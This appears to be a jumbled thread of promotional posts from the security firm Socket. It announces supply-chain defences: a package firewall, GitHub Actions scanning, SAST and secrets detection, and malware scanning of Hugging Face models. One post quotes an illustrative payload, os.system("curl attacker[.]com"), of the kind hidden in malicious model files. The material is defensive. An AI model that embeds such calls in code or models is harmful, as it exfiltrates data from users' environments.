Try it out here: socket.dev/blog/socket-...

We’ve also expanded language support to 10+ ecosystems so no matter what stack you’re on, you’re covered.

The idea is simple: every package download should be verified and governed by your rules, in real time. That’s what Socket Firewall does.

With Socket Firewall Enterprise, you can set up your own security and license policies, self-host it, run it on-prem, and get centralized visibility into all the packages being used across your organization, even if those packages never get checked into source control.

Socket Firewall blocks malicious packages before install time, protecting both developer machines, build servers, and prod from supply chain attacks.

For several years now, Socket's been helping teams stay protected from supply chain attacks. But attackers don’t just target production environments. They also go after developer machines directly to run malicious code. That's why we built Socket Firewall.

What used to be shocking is now disturbingly common — attackers are using smarter social engineering techniques to target maintainers. And legacy vulnerability scanners can’t keep up.

A few years ago, high-profile package compromises were rare. But not anymore. In just the past few months, we’ve seen trusted open source packages like tinycolor, chalk, nx, and prettier get compromised.

Get started here: socket.dev/blog/introdu...

Bottom line — today CI/CD is probably the weakest link in your security posture.

If your team uses GitHub Actions, install Socket — it takes literally 2 clicks — and turn on GitHub Actions scanning today.

Socket now scans GitHub Actions for malware, unsafe data flows, and sketchy code. We actually look inside your workflows — at every composite action and transitive dependency, including all the JavaScript and Python code that powers most actions — to block dangerous behavior before it hits prod.

And those friendly-looking tags like v1 that everyone uses? They can change at any time. Which means the code you trusted yesterday might be doing something totally different today.

That’s a huge blind spot in your CI/CD pipeline.

Lol

4️⃣ CVE scanning — covers every language in your stack, even beyond the 10+ Socket supports today.

All unified under one consistent policy + results format. Because you shouldn’t need 6 scanners to ship safe code.

🚀 Try it today: socket.dev/blog/socket-...

1️⃣ Static analysis (SAST) for 14 languages — finds real code issues like command injection or unsafe deserialization before they land.

2️⃣ Secrets detection — catches leaked API keys before they’re merged.

3️⃣ Container scanning — checks Dockerfiles + images for risky configs and outdated base images.

5️⃣
This is just the start.

We’re extending Socket to protect the full Hugging Face ecosystem — models, datasets, and Spaces.

The AI supply chain should be as safe and auditable as traditional software.

👉 Try it here: socket.dev/blog/announcing-experimental-malware-scanning-for-hugging-face

4️⃣
You can scan models today via our API using a "package URL" or PURL like: pkg:huggingface/...

Or upload an AIBOM (AI Bill of Materials) from CycloneDX. Socket will analyze all the models it references for malware and supply chain risk.

3️⃣
Developers already know: Pickle, TensorFlow, GGUF, and Llamafile can execute code when loaded.

That means a random model from the internet could be quietly running os.system("curl attacker[.]com") in your env.

We’ve already seen payloads hiding in models exfiltrating data, spawning shells.

2️⃣
Socket now scans Hugging Face model files for:
– Deserialization exploits
– Lambda layer injections
– Llamafile runtime malware
– GGUF template backdoors

If a model contains code that can hijack your system, you’ll know before it ever runs. ⚡️

Yep!